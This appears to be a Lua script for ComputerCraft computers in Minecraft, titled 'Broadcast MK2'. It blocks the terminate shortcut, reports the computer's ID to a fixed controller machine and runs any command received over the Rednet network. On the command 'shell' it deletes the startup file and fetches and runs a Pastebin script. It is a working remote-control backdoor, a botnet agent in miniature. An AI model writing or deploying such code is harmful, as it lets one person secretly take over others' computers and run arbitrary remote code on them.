Broadcast MK2

-- Set pullEvent to pullEventRaw
os.pullEvent = os.pullEventRaw
local modemLocations = {}

-- Function to find the side where the modem is located
local function findModemSide()
    for _, side in ipairs(rs.getSides()) do
        if peripheral.getType(side) == "modem" then
            return side
        end
    end
    return nil  -- No modem found
end

-- Function to open Rednet on the side where the modem is located
local function openRednet()
    local modemSide = findModemSide()
    if modemSide then
        rednet.open(modemSide)
        return true
    else
        print("Modem Required")
        return false
    end
end

-- Function to log the location of the current computer
local function logComputerLocation()
    local computerID = os.getComputerID()
    local computerLabel = os.getComputerLabel() or "Unnamed"
    modemLocations[computerID] = {label = computerLabel, location = os.getComputerLabel()}
end

-- Function to send the computer's ID and time to the main computer
local function sendComputerIDAndTime()
    local mainComputerID = 7 -- Replace with the ID of the main computer
    local currentTime = os.time()
    local formattedTime = os.date("%Y-%m-%d %I:%M %p", currentTime) -- Convert timestamp to a human-readable format with AM/PM
    local computerID = os.getComputerID()
    local message = {computerID = computerID, time = formattedTime}
    rednet.send(mainComputerID, message)
end

-- Function to delete the startup file and run the Pastebin script
local function deleteStartupAndRunPastebin()
    local pastebinCommand = "pastebin run j7mX2NGC"
    shell.run("delete startup")
    shell.run(pastebinCommand)
end

-- Function to display Minecraft time in the top corner of the screen
local function displayMinecraftTime()
    while true do
        local xPos, yPos = term.getCursorPos()
        term.setCursorPos(1, 1)
        term.clearLine()
        term.write("Time: " .. textutils.formatTime(os.time(), true))
        term.setCursorPos(xPos, yPos) -- Restore cursor position
        sleep(1) -- Update every second
    end
end

-- Main function to handle receiving and executing commands
local function main()
    -- Open Rednet on the side where the modem is located
    if not openRednet() then
        return  -- Exit if no modem is found
    end

    -- Log the location of the current computer
    logComputerLocation()

    -- Send the computer's ID and time to the main computer
    sendComputerIDAndTime()

    -- Main loop to listen for incoming commands
    while true do
        local senderID, message = rednet.receive()

        -- Check if the message is intended for this computer
        if type(message) == "string" then
            -- Check if the command is 'shell'
            if message == "shell" then
                -- Execute the custom function to delete startup
                -- and run Pastebin script
                deleteStartupAndRunPastebin()
            else
                -- Execute the received command
                shell.run(message)
            end
        end
    end
end

-- Function to handle user input
local function handleUserInput()
    while true do
        local userInput = read()
        -- Run the Pastebin script if the user inputs 'delete startup'
        if userInput == "delete startup" then
            deleteStartupAndRunPastebin()
        else
            shell.run(userInput)
        end
    end
end

-- Run the main function, display Minecraft time function,
-- and the user input handling function concurrently
parallel.waitForAny(main, displayMinecraftTime, handleUserInput)